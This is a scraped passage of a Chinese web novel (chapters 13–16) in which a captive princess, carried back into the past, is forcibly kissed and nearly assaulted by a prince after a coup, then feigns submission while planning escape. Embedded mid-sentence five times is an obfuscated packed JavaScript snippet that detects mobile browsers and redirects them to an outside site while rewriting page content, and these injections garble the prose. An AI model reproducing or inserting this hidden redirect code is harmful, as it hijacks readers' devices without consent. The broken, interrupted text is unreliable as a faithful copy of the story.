纪吟便只好忍着心里的不喜,磨磨蹭蹭地跨了进去,在男人三四步远的地方垂首站定。 “殿下有什么吩咐?” 段伏归见她离自己这么远,不满意,皱起眉,“过来。” 纪吟生出一股不祥的预感,手臂冒出鸡皮疙瘩,可男人积威甚重,又成了这燕国皇宫里说一不二的老大,她不敢跟他对着干,只好迈着细碎的步子一点点往前挪,待离他一臂距离后,却是再怎么也不肯动了。 段伏归大马金刀地坐在花梨木蟠螭龙纹主座上,见她不动,只好起身,高大的身影一下就近了,大片阴影笼罩在纪吟面前。 她慌忙后退,下一秒,男人粗粝的手指钳住她下巴,盯着她的脸看了好一会儿,突然笑道:“瞧着怎么比先前还瘦了?被那夜的情景吓到了,还是宫里人没用心照料?” 他话里透露出的亲昵让纪吟心里一惊,又想起他那句“你现在,是我的了”,难不成他真要…… 纪吟心脏猛颤了下,顾不上别的,下意识推开男人的手,双腿连连后退,待到一个安全距离后才停住。 “殿下,我听说燕国陛下殡天了。”纪吟怕他又来捉自己,赶紧道。 段伏归没料到她会拂开自己,心里有点不悦,只淡淡地“嗯”了一声。 纪吟努力让自己稳住心神,“我本为两国邦交才不远千里来到燕国嫁与燕国陛下,但如今陛下已崩,可否容我随齐国使者返回故国?” “你还想回去?”男人听了这话十分不虞,脸色已然冷沉下来。 纪吟听这语气心道不好,忙转圜道:“殿下说的是,我已面见了燕国陛下,大礼已成,名义上算燕国陛下的妃嫔,我愿为陛下守节,可否容我迁居宫外?” 她想燕国要齐国嫁公主就是为了羞辱齐国,自然不肯放她走,现在退而求其次,以守节的名义一辈子不嫁人总可以吧,反正她本来也不想在这古代嫁人。 然而她还是天真了,段伏归既然对她起了心思,又怎会放过她。 “我说过,你是我的。”男人沉声道。 纪吟猛地抬起眼皮,睁着一双晶透的眸子,正好撞上男人锋利的视线。 “可……我……我已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626006|172363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是燕国陛下的妃嫔了,这样实在有违伦理。”纪吟绞尽脑汁,试图以此唤回他的理性,然而男人听了她的话,眉毛都没动一下,甚至嗤笑了下,道:“也只有你们汉人才讲究这些,我们鲜卑可不管什么礼不礼的,我们向来只有一个传统,父死子继——继承他的权力、土地、财物,当然也包括他的女人。” 说着,段伏归的大掌已经抚上了她的脸庞,眼眸幽邃,露出毫不掩饰的掠夺、占有。 纪吟怔怔地看着他,仿佛坠入了万丈深渊,浑身都打起了颤。 “不行。”她下意识道。 “不行?”段伏归反问,尾音极轻,抚在她脸上的手却重了两分。 他作为燕国三皇子,自上战场,屡立战功,在燕国中便要风得风,一呼百应,如今更是即将登上燕国皇帝的宝座,多少女人主动朝他献媚,只是他懒得一顾而已,如今忽有个女子正好入了眼,他来了点兴致,她竟还不肯? 脸上的疼痛让纪吟回过神来,猛然嗅到了男人身上散发出来的危险气息,又想起他行事狠戾,第一次见面就射死自己的马,惹怒这样一个生杀予夺的掌权者是不会有好下场的。 纪吟想找补一下,然而下一秒,她只觉眼前一暗,一团浓烈的气息笼过来,唇上就忽的多了抹陌生的、温热的触感。 她愣了两秒才意识到男人在吻她,整个人都僵硬成了石。 接着唇上传来点点疼痛,男人在咬她。 咬得毫无章法,像狗在啃骨头。 13. 直接 段伏归被她拒绝确实恼怒,但又想她已经落在自己手上了,由不得她愿不愿,又看到她粉菱菱的唇不断张合,整齐的白齿时隐时现,幽香袭人,身体就躁了起来,他不再忍耐,随心而动。 甫一碰到女孩儿柔软的唇,他头皮一麻,仿佛有股气流蹿过四肢百骸,竟有种说不出的舒爽,让他迫切地想要更多,扣住她的头,不停去啃咬、探索。 纪吟再忍不住了,她从没跟人这样亲近过,哪怕理智告诉她不要惹怒男人,本能却让她挣扎起来,不停推他打他。 她这点力道在男人面前不过蚍蜉撼树,感受到她的挣扎,段伏归将她两只胳膊背到身后,一手钳住两支细腕,另一手扣着她肩,逼她迫向自己,啃吻了好一会儿才终于放开她。 此时怀里的女孩儿早不复刚才的端雅,呼吸急促,脸颊绯红若霞,唇如沁血,秾艳靡丽,眼尾还挂上了晶莹的泪珠儿,又娇又艳,看得段伏归心头一紧,浑身的血液愈发沸腾了。 不再犹豫,段伏归抄起她腿弯抱着人往室内走去。 宫变那夜他亲自来了一趟,后面又吩咐好好守着清心殿,下面的人十分会来事儿,瞧纪吟模样不俗,便猜到段伏归的意思了,这两日将清心殿内好好整饬了一番,此时床上正铺着鲜亮的衾被,挂着凤鸟团纹锦帐。 段伏归一把将人丢到床上,高大的身躯便压了下来。 纪吟怎么也没想到他竟打算直接来强的,想要反抗却又敌不过,惊惧不已,颤抖着落下泪来。 她今日的衣裙并不繁复,男人三两下就扯开系带,剥开后露出白玉般的身子,见此美景,男人眸色一暗,正要俯身吻下,却在这时,外间突然传来急唤。 “主人,段英有事来报。” “等着。”段伏归刚起了兴致,闻言,头也没回地吼了声,又想去亲身下这张已红到糜艳的唇瓣。 元都心知主上被自己打断好事儿心里肯定不高兴,却只能硬着头皮继续:“段英说是急事。” 段伏归这下清醒了,顿住身形,沉着脸抬起头,正好看到纪吟一脸泪,这泪像盆凉水浇到他心头,让他炽烈的身体瞬间冷了下来。 门外,元都还在低声叫他。 段伏归脸色沉得几乎能滴出水,宫变到现在不过几日时间,他要忙着处理大皇子一党,抓捕逃犯,接管城内事务,调兵布防,提拔人手,一系列琐碎的事情忙得不可开交。 宫变的厮杀虽已结束,但老燕皇可不止他一个儿子,老二、老四、老五以至更小的,身后或多或少都有些势力,此时依旧是最关键的时候,还不能放松。 想到这些,段伏归的心终于静下来,翻身下床,看到还在发抖的纪吟,又伸手过来粗鲁地擦拭了下她脸上的泪痕,“别哭了,我去处理正事,过后再来看你,你要什么就跟下面的人说。” 丢下这句话,男人大步跨出寝殿。 眼见男人的背影彻底消失在视野里,纪吟方才有种死里逃生的感觉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626007|172363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她连忙将衣襟拢到一起,抱着膝盖缩到床角,心情久久不能平静。 穿越前二十年她都生活在一个和平安稳的国度,父母恩爱家庭和睦,派出所都没去过两次,穿越后虽然亲眼看到人死在自己面前,认识到了古代社会的残酷,毕竟没有直接发生在自己身上,没有切肤之痛,便还抱着一丝幻想,然而今天的事让她意识到,在权贵面前,她根本无法主宰自己的命运和自由。 寂夜降临,天边仅剩的霞色被一点点漫过来的黑暗侵吞,宫城陷入沉寂,清凉的夜风携着宫城里残存的血腥气味吹到纪吟床帐前,暗影斑驳。 许久,纪吟终于回过神来,抬手摸摸自己的脸,她从镜子里见过自己现在的模样,生得十分不错,与前世的她竟有六七分像,鼻梁细挺,嘴唇丰润柔美,尤其一双眼睛大而圆润,笑起来时弯弯的,娇憨可人,好似晨间盛开的一朵蔷薇,确实称得上一句美人,但也没美到倾国倾城的地步,为什么段伏归就对她起了心思呢?纪吟不解。 转念一想,古代男人妻妾成群,尤其是坐到了掌权者的位置上,不需要多倾国倾城,只要看着顺眼,来了兴致宠幸一番也很寻常。如今段伏归对她应该就是这样吧。 纪吟绝不愿将自己的一生耗在男人的后宫里,也不愿被囚困在这深宫中,她想要自由地活着,想要主宰自己的命运。 今天运气好,男人在紧要关头被叫走,下一次不会有这么好的运气了,她必须得想个办法逃跑。 14. 料理 段伏归来到明昌殿,段英已经等候在那儿了,然却是跪着的,段伏归眼神未变,大步走到主座坐下,拿了杯冷茶一口灌下,压下身体残留的火气,沉声问,“什么事。” 段英叩首道:“属下无能,让段治跑了,请主上责罚。” 段治是段伏义的大儿子,此前段伏归命段英去捉拿段伏义的一众亲信,段伏义的府邸自然首当其冲,段英也派了重兵,然而即便这样,还是让对方跑了。 斩草除根,不能一举灭掉段伏义的子嗣,将来必有麻烦。 段伏归的脸色冷了下来,却没有大发雷霆,只问:“具体怎么回事?” 他知道自己的亲信有多大能力,段英不是废物。 段英这才抬起头来,“当晚属下带着五百玄鹰卫直扑大皇子府,却在府外遭遇叛军抵抗,僵持了一个时辰才成功突入府中抓人,清点时却发现段治没有落网,又连忙追着线索追捕,然而暗地里却仿佛有人在帮他,故意制造假线索迷惑我们的人,跟丢了两回,等我们再次在代郡追上段治,结果却冒出一队秦军,属下带的人不敌,最终让段治被秦人救走了。” “秦军?”段伏归低低念了句,然后抬起头,望向殿外已经漆黑的天空,冷哼,“光是秦国怎么可能把手伸这么长,还能提前知道段伏义的计划,必定是燕国有人透露消息给他们。” 段伏归一直都知道自己几个兄弟都不是省油的灯,他虽趁着段伏义宫变,将计就计解决了最有竞争力的对手,但余下的可不见得会一直安分下去,段伏成、段伏建、段伏宏……他们恐怕无不盼着他突遭横祸身首异处。 “段治那头不用管了,先把燕京整顿好。”段伏归已经平静下来。 段治逃到秦国,不动兵是抓不回来了,如今燕国内部权力更替,暂时不宜对外用兵。段伏归知道秦国为什么要淌这趟浑水,无非是想利用段治的身份来对付他而已,段伏归征战十年,岂会怕一个九岁的小毛孩儿,相反,暗中协助段治逃跑的人才更值得他警惕,不过早晚有一天他会把这人揪出来。 燕京城内动荡不安,诸事繁杂,段伏归才交代完段英,戴龙便在殿外探头。 “什么事?” 戴龙赶紧过来,见了段伏归,竟直接行了叩拜礼,道:“先皇的龙穴已经完工,各项陪葬礼器也准备妥当了,宫中一百零八位法师也已经开坛做法,臣等想着已经到了六月,天气炎热,恐生腐坏,为先皇的御体着想,不如择日早些安葬吧。” 那日戴龙捡回一条性命,打定主意要在段伏归面前好好表现。 他们燕国是鲜卑族建立的国度,还没形成汉人那一整套礼仪体系,关于丧事的进度可快可慢,段伏归至今还没主动表露出自己要登基的意思,戴龙便猜是燕皇的丧事还没结束,他为了面子和名声才忍着,于是主动加快丧事,就想在段伏归面前卖个好。 段伏归闻言,眼神在他身上顿了几息,沉压压的,看得戴龙都心惊肉跳起来,心中暗想自己哪里做得不对吗?又想起那日段伏归杀人如麻的场景,不由担忧起自己的小命,额上冒出豆大的汗珠来。 段伏归见他两股战战险些要撑不住了,这才收回视线,“该怎么办就怎么办。” 戴龙连忙道“是”,得了段伏归的准许,逃也似地离开了,一边琢磨什么叫“该怎么办就怎么办”。 先前段伏归去了后宫,下面不敢打扰,此时一出来,事情就一件件滚了过来,等他将人都打发走,已是后半夜了。 明日还得上朝议事,也没多少时间了,段伏归就在明昌殿后殿和衣睡了一个时辰,待天色微亮时便醒了过来,洗了把冷水脸便又恢复了精神抖擞的模样。 接着又是一整天的忙碌。 权力交替时国家最是动荡不安,秦国救了段治,段伏归不得不加强并州边境线上的防备,然而派谁去却是个问题。 “我们以为,秦国强盛,现在又对我燕国仇恨不已,最好派个大将去才能震慑敌军。”中书舍人殷石提议说。 他一开口,下面的人便附和起来。 段伏归将呈上来的奏报粗粗浏览一遍,然后丢到一边,“那你们以为派谁去最合适?” “这……” 这就有些难办了,用人终究还是要看上面的意思,尤其现在宫变刚结束,各方人马还没平衡下来,谁也不知道段伏归想打压谁又想提拔谁。 “说啊。”段伏归扫视一眼。 聪明人便心知这有几分表态的意思了。 沉默片刻,黄门给侍中刘钟道:“右骁骑将军段同素来骁勇,又随殿下征战多年,先主还赞赏过‘智勇双全’,派他前去并州一定能保证我燕国不受秦军滋扰。” 他这话讨好之意实在明显,段同是段伏归手下悍将,称赞段同便是褒扬段伏归,又把才驾崩不久的燕皇称为先主,便是默认段伏归是现任皇帝了。 黄门给侍中是皇帝身边随侍人员,不掌兵也不管政,却是皇帝亲信,风光的时候是真风光,连执掌大权的尚书仆射都要给几分脸面,可一旦宫中易了主,那就要看新任主子的心情了。 段伏归听了这话,表情却没怎么变化,只随意看了刘钟一眼,“段同资历尚浅,再推。” 自己的建议没被采纳,刘钟心里惴惴,小心看了眼段伏归,却见他面无表情,忽然想到宫变才结束不久,段伏归正是要把自己人留在身边以免给人可乘之机,自己忙着讨好他竟忘了这茬,一时后悔不已,也不敢再说话。 下面又有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626008|172363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人推荐了几人,然而要不是能力不够,要不就是身份问题不能用。 在这种时候,要找一个信得过又有能力的,确实不容易。 后面忽有人提到辽东王段爻,段伏归眼神一顿。 段爻乃是燕皇段遨之弟,当初亦为燕国的建立立下汗马功劳,段遨也甚是信任这位皇弟,派他镇守辽东,甚至想让他为燕国攻打高句丽。 段伏归摸摸下巴,深邃凤眸中闪过几缕沉思,最终道:“任命段爻之子段务行为护军将军,领三万长骁营奔赴并州。” 此言一出,在场人无不震惊。 段爻有三个儿子,他最喜欢的是宠妾生的二儿子段应韶,大儿子段务行的存在感并不高,只听说不得段爻喜爱,如今段伏归却直接任命段务行为护军将军。 有人不赞同,“段务行功绩平平,怎么能将重任委托给他?” “就是,请殿下再考虑考虑。” 众人议论纷纷,段伏归听得不耐烦,从座上起身,彻底冷下脸来,“秦国人心不稳,去年兵败后各地时有起义,石泗、解窦起兵自立,此前臣服秦国的凉州也想趁机脱离秦国的掌控,赵犍现在自顾不暇,本王料定他不敢大规模用兵,用段务行足矣。” 有人还想再劝,段伏归一记冷光扫过去,“我意已决,不用再说了。” 他五官本就生得凌厉,尤其眉眼间蕴着杀伐果断的刃气,此时便宛如一柄锋利的宝刀出了鞘,众人慑于他的威势,终于不敢再劝。 三年前,高句丽在辽东作乱,段伏归奉命去平叛,与段爻以及他几个儿子有过深入接触,别人都说段务行母族势弱,又不得段爻宠爱,以后辽东王的位置必然落到段应韶身上,但段伏归却察觉到段务行并不像表面上那样无能,尤其两人因为一次偶然的机会一起杀了敌,明明段务行表现不俗,他却非要把全部功劳都让给他,那时他便知道段务行在蛰伏,也看出了段务行潜藏的能力。 如今正是用人之际,而段务行恐怕也早等着机会一飞冲天,段伏归相信自己用他,他短时间内必定会竭心尽力。 此事议定,接下来段伏归又安排了诸多杂事,一直到傍晚,看着洒进来的余晖,他又想起了还在清心殿的纪吟。 从来只有女人主动逢迎他,盼望得到他的宠幸,只是他对此不屑一顾,如今难得对个女人起了兴趣,她竟敢拒绝他。 她难道不知道老燕皇死了,如今燕国已是他的天下,她命运如何全在他一念之间。 想到这儿,段伏归甚是有几分恼怒,怒火燃烧的同时,他又不由自主地想起昨日的柔软触感,白白嫩嫩的,乳酪一样,一碰之下竟让人有点上瘾。 段伏归自然不会委屈自己,心念一动,便又去了清心殿。 15. 演技 “人呢?”来到主殿,没见着人,段伏归脸色沉了下来。 元都见状,立马去请纪吟过来。 纪吟得知男人又来了,心头一紧,但说实话她并不意外,那日没成事,以男人的性子,岂是这么容易罢休的。 元都亲自来叫她,她不能不去。 纪吟随他来到殿外,果见男人站在那里,凌厉的轮廓半隐在昏暗的夕阳中,神色莫测,见到她,那两道如炬的目光就落到了她脸上。 她似没睡好,脸色比起昨日苍白了些,眼底还有浅浅的乌青,鬓边一缕乌发似携来一丝忧愁轻拂到脸庞上,让她原本明媚灵动的眉眼多了几分楚楚可怜。 “抬起头来。”段伏归命令道。 飙演技的时候到了。 借着衣袖遮掩,纪吟狠掐了把大腿,疼得她差点龇牙咧嘴,一抬头,却落下两行清泪。 段伏归见她落泪,先是一愣,紧接着又恼恨起来,大掌掐起她下巴,“怎么,做我的女人还委屈你了?” 纪吟努力摇头,两只眸子却像泉眼一样不停涌出清凌凌泪珠儿,一颗一颗,直要落到人心头上,留下滚烫的印记。 段伏归见她表态,又瞧她眼圈儿哭得红红的,好不可怜,心里也起了两分怜惜,钳住她下巴的手松开来,替她轻轻擦去脸颊上的泪,“那为什么哭?就这么不愿意?” 他语调是温柔的,可周身散发的危险气息却叫纪吟不寒而栗。 “呜……” 她继续摇头,继续哭。 一开始全靠演技,哭到后面,想到自己离开爸妈孤零零地穿越到这个没人权的古代,还被这些掌权男人当成一个玩物,连自己的命运都做不了主,强忍了许久的酸楚爆发出来,一时倒是真情流露,哭得止不住了。 段伏归从没主动哄过女人,耐着性子哄了她两句不见回答,此时已有两分不虞,加重语气,“你再不说,我们就去床上说。” 纪吟听了这毫不掩饰的话,一时慌乱起来,眼神如受惊小鹿,忙道:“不要。” 段伏归便沉沉地看着她,等她给自己答案。 纪吟想再继续男人就要不耐烦了,努力压下胸口的心酸,垂下湿漉漉的眼睫,抽抽噎噎地说:“我已经嫁了人,岂能再侍二君,尤其您还是燕皇之子……这实在不合礼法。” 段伏归皱起眉,“我说过,鲜卑不讲究这些,我们从来都是父死子继。” “而且你才进宫,我父皇连这座宫殿都没踏进一步,算什么嫁人?”他又道。就算真嫁了人成了事儿他也不在意。 “可是礼法上……” “没有什么可是。”男人斩钉截铁。 纪吟胸中一凛,心想用礼法来说服男人这条路完全走不通了,那只能换个法子。 “如果我留在殿下身边服侍,又是什么身份呢?”纪吟扭过头,呜呜着说。 她从没说过这么娇柔的调子,百转千回,幽怨哀婉,要不是男人还在旁边虎视眈眈,她都要忍不住搓搓胳膊上的鸡皮疙瘩了。 “嗯?”段伏归一愣,心里也似被什么挠了下。 纪吟用余光偷瞄男人的表情,见他若有所思,心里多了两成把握。 昨日段伏归的话就表明了他不会轻易放过自己,如今宫里都是他的人,她被看得牢牢的,就是想逃也无路可寻。 来硬的,除非她武力值暴涨十倍,但那显然在做梦,那就只有来软的。 但她也没有足够的把握,只看男人对她到底是见色起意图个新鲜还是有那么一点喜欢,可她已经别无选择了,只能面上示弱,尽可能拖延时间,再伺机寻找新的出路。 纪吟继续抽抽搭搭,用袖子捂住脸,“我虽只是个弱女子,好歹是齐国公主,若这样不清不白就从了您,不仅丢了齐国的脸,我又有什么脸面苟活于世?” 这是要名分了。 她先前要嫁的燕皇虽年老体弱,但燕皇是给了正经名分的,对于这个讲究门当户对的时代来说,有时名分比要嫁的那个人本身的才貌还重要,若不清不白地厮混在一起,反遭人唾弃。 “你想让我娶你当正妻?”段伏归问。 “我不敢。”纪吟垂下眸,脸却一红。 段伏归见她虽这样说,脸上却有几分少女羞涩,心情忽然好了起来。也是,她是汉人,汉人最注重这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630108|172363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些繁文缛节,虽然她入宫当夜他父皇就归天了,在他看来根本不作数,她却在意这些。 段伏归盯着她粉润的脸颊看了片刻,道:“那我登基后封你为夫人。” 这还是宫变后段伏归第一次在外人面前直白表露自己要登基的意思,他也没多想,自然而然便在她面前说了出来。 “夫人?”纪吟心里高兴计策奏效,面上却装作疑惑。 “嗯。”段伏归点点头,“这下总可以了吧。” 每个朝代“夫人”品级不一定相同,在这个时代,夫人是仅次于皇后的品级,比老燕皇封的九嫔还要高一级,爵位视三公,算得上极尊荣的封号了。 纪吟怔怔地看着他,似是没想到他这么大方,高兴傻了,许久才反应过来,微垂下头,似是默认了。 因这动作,她露出一截月牙似的雪颈,段伏归看得喉咙一紧,体内再次躁了起来,不禁俯下身,欲亲吻这雪白柔腻泛着幽幽清香的女儿肌。 纪吟察觉到男人意图,下意识想把人推开,掌心刚触到男人胸膛,却又连忙收住力道,轻轻抵着他,侧身避开,提醒道:“殿下,这…于理不合。” 夏日衣裳单薄,段伏归只感觉她的手又柔又软,像片羽毛落在了胸口上,一时心神荡漾,体内的火气却愈发炽灼了。 见男人没有离开的意思,纪吟怕他还不肯放过自己,赶紧求饶:“请殿下怜惜。” 段伏归瞧她乖顺,又答应了做他的女人,心情不错,便也不想太强迫她。 纪吟小心后退一步,男人这回没再贴过来,心里狠松了一口气,她的计策是对的,男人果然吃这一套。 封夫人要等他登基后才能名正言顺,而男人登基又需要一段时间,幸运的话她能给自己争取一个月的逃跑时间。 纪吟既然答应做他的妃嫔,现在就要“得寸进尺”了,朝段伏归提要求,“殿下,大礼未行,我现在在宫里住着名不正言不顺,可否容我迁居到先前的驿馆?” 宫里围得铁桶一样,除非她插上翅膀才能逃出去,外面的驿馆就要松懈多了。 纪吟怀揣着美好的希望,小心又期待地看着他。 16. 玉樨宫 段伏归低头看去,少女睁着一双明亮的眼眸,碎光点点,睫羽浓密,乖巧得几乎要让人溺进去,他几乎就要说“好”,关键时刻脑子里闪过些许画面,顿时让他清醒过来,转而温声道:“驿馆简陋,不合适久住,而且段伏义才伏诛,他的党羽还有没落网的,要是趁机对你下手,到时出了意外可就来不及了。” 纪吟眸里的光暗了两分,没想到男人行事看似粗犷,实则精明谨慎极了。 说什么段伏义的党羽来袭击她,是想着她一个闺阁女子不懂政治说来唬她的吧,她一个女人,对段伏归来说可有可无,袭击她有什么好处,就算要报仇也该直接刺杀他才是。 只是这话她不能说,于是低下头,眼神落在自己脚尖上,抿了抿唇,带着几分委屈说:“我不想住在这里。” 段伏归想起下面人汇报的话,说除了入宫那夜她从不来正殿,又想起那夜发生的事,死了那么多人,流了这么多血。 “也是,你被吓着了,不想住这里也正常,我重新给你安排个地方,玉樨宫吧,比清心殿宽敞。” “玉樨宫?那是何处?”纪吟疑惑。 “玉樨宫就在含章殿后面,原本是我父皇宠妃文易夫人住的地方,她去世后就闲置下来了。”段伏归给她解释。 纪吟一听,离前朝近,又是宠妃住过的地方,觉得还不如自己现在待的清心殿呢,面上却不得不应承下来。 第二天,纪吟正式搬迁去玉樨宫,来负责此事的竟然是元都。 他是段伏归的亲信,现在正是诸事繁杂的时候,他不去给段伏归处理杂务,反来照料纪吟的小事,可见段伏归对她的看重,一时间,纪吟发现禁军对她的态度也恭敬了几分,待她出现在他们面前时甚至主动行了礼,这么看来搬迁对她也不完全是件坏事了。 纪吟的嫁妆在那夜一起被送进了宫,东西不算多,几箱四季衣裳,几箱丝绸,几匣首饰,还有些零零碎碎的手帕香囊胭脂水粉之类的日用品,装好后元都派上几个禁军就搬好了。 等纪吟跨进玉樨宫,院里竟还跪着几个宫女。 元都在一旁解释:“夫人从南国来,恐怕不会说我们这儿的鲜卑话,这几个宫女是主上特意命我挑出来服侍夫人的,既会说汉话,又会说鲜卑话,夫人有什么事尽管吩咐她们。” 他跟着主上一起南下,见过主上对这位齐国公主的态度,虽然算不上多宠爱,但主上对女人向来不假辞色,却格外关心这个齐国公主,屡次跟她说话,现在又公然宣布要纳她为夫人,元都便知她在主上心里有些不同,也不介意在她面前多卖点好。 纪吟并不知他心里这么多弯弯绕绕,听到他对自己的称呼皱起了眉,温声道:“我现在还不是夫人,请不必这样唤我。” 元都嘿嘿一笑,却没答话。 待她安顿好,元都又对玉樨宫的禁军和宫女吩咐了通好好伺候,这才离开了。 纪吟来到主殿,让六个宫女都进来,见她们又要下跪,连忙阻止,“我这儿不兴让人下跪,你们站着回话就行。”又看向其中为首的那个,大约十八九岁,问她,“你叫什么名字?” “回夫人的话,奴婢叫尤丽。”尤丽道。 “你以前在哪个宫里做事?” 尤丽回道:“奴婢在嘉福宫伺候主子。” “嘉福宫是哪里?” “以前是皇后娘娘的居所。” 纪吟叹了声气,“原来是皇后的宫女,来我这里倒是委屈你了。” 尤丽连忙下跪叩头:“不委屈,奴婢不敢。” 纪吟也吓了一跳,赶紧扶她,“快起来,我没有别的意思。” 尤丽小心观察了眼,见她满脸和气,确实不见半点怒意,放下心来,才继续道:“奴婢是真心愿意服侍夫人,如今先皇陛下去了,大家都知道三皇子殿下将是宫里的主人,而夫人您又得殿下宠爱,多少人想来服侍您还找不到机会呢。” 纪吟听到这儿,面上露出几分不好意思,“我还不是……” 尤丽只看着她笑,心想这个齐国公主的性子真好,以后得了三皇子的宠爱,自己也能跟着沾光。 接下来纪吟又跟其余几个宫女说了会儿话,不过问问她们叫什么,之前在哪儿当差,都是些琐碎的家常,并没有什么特别的。 待聊得差不多了,便将人打发出去,说自己累了要休息,起身入了里间。 陶儿跟进来,看到摆放整齐的箱笼,床上悬挂的金销帐、床里铺着牡丹云锦被,门口立着十二幅孔雀嵌珍珠玛瑙折屏,一应家具都是顶好的,旁边的花几上还置一美人瓶,里面插着新鲜的栀子,一室芳香,显然是用心了。 陶儿十分开心,蹦跳到纪吟面前,小声道:“女郎,我觉得燕国三皇子对您是上心了,您看这屋子布置得真好,而且……而且他比原本的燕皇年轻,女郎也不用委身给一个老头子了。” 纪吟听了这话,定定地看了陶儿两秒,最终没说什么。 从陶儿的视角来看,和亲对象从一个比她父亲还老的老头子换成年轻英俊的段伏归,已然算得上十分幸运了,且段伏归对她很不错,又承诺给她名分,确实算得上良配,可纪吟不是这个时代的灵魂,不愿让别人主宰自己,她想要的是自由、平等、尊重。 陶儿见她垂着眼,恹恹的,一时忐忑起来,“公主怎么一点都不开心,是我说错话了吗?” 纪吟抬眼看她,陶儿年龄不大,心思单纯,满心里只有她这个公主,自己要是不见了,只怕不知伤心成什么样。 纪吟一直没告诉她自己逃跑的事,一是她胆子小,怕她露馅,二是她也不敢保证自己逃跑能成功,怕万一失败连累她,三是她不知道陶儿会不会支持自己逃跑。 “没有,你说得对。”纪吟朝她笑道。 - 又过了两日,纪吟渐渐跟尤丽熟悉起来,这天用过饭洗漱完,尤丽正要带着其余人退下,纪吟叫住她,“尤丽,你留下陪我说会儿话吧。” 尤丽便将手里的东西交给了下面的宫女。 纪吟坐在妆台前,招呼她过来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634495|172363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “尤丽,你帮我通发吧。” 贴身伺候意味着亲近,前两日纪吟只让她们做些端茶递水的差事,并不让近身伺候,今天还是头一回,尤丽心中一喜,忙拿起玉梳,轻柔地替她通着乌发。 “夫人的头发长得真好,浓密又柔顺。” 纪吟绕起胸前一缕发丝,在指尖打着旋儿,“尤丽,你在宫里待的时间久,你知道三皇子他……他……”说到这儿,纪吟似是十分不好意思开口,酝酿了好一会儿才继续问,“三皇子他娶妻了吗?府上有没有得宠的夫人?” 尤丽一下就明白她的担忧了,笑道,“夫人放心,殿下还没娶正妻呢,也没听说过有得宠的夫人。” “啊?”纪吟十分震惊。 段伏归今年都二十二了吧,这个时代习惯早婚,他竟还没娶妻? “为什么?”纪吟干巴巴地问。 她原想着段伏归要是娶了正妻或是有十分受宠的女人,自己说不定可以利用她们逃跑,结果就这么落空了。 尤丽道:“奴也不太清楚,只听说陛下之前也想让殿下娶妻,还选了人,只是殿下自己不肯。” 纪吟恶毒地想,段伏归看起来高大威猛,该不会是个银样镴枪头,根本就不行吧?或者说他是个同性恋? 她选择性地忽略了段伏归强吻她那次。 这条路走不通了,纪吟赶紧换了策略,努力抿着唇,眼睛却弯下一片笑意,仿佛因为这个消息十分开心却又努力克制着。 “尤丽,谢谢你告诉我这个消息。” 尤丽看她嫣然一笑,莹白的脸颊在昏黄的灯火下似笼了层朦胧的雾纱,影影绰绰,身姿优美,宛如画儿里的人,美得连她一个女子都心动,难怪三皇子给了夫人的名分。 “好了,尤丽,我要睡了,你也早点去休息吧。” “是。” …… 夜色西沉,含章殿内,段伏归还在案前看着奏疏,这时元都悄悄来到殿内。 见他批完一份竹简,元都趁着这个空隙递了杯茶过去,段伏归顺手接过,看了他一眼。 元都便道:“主上,尤丽告诉属下,夫人今天特意叫她单独说话,问起了您。” “问我什么?”段伏归一口喝完杯里的茶。 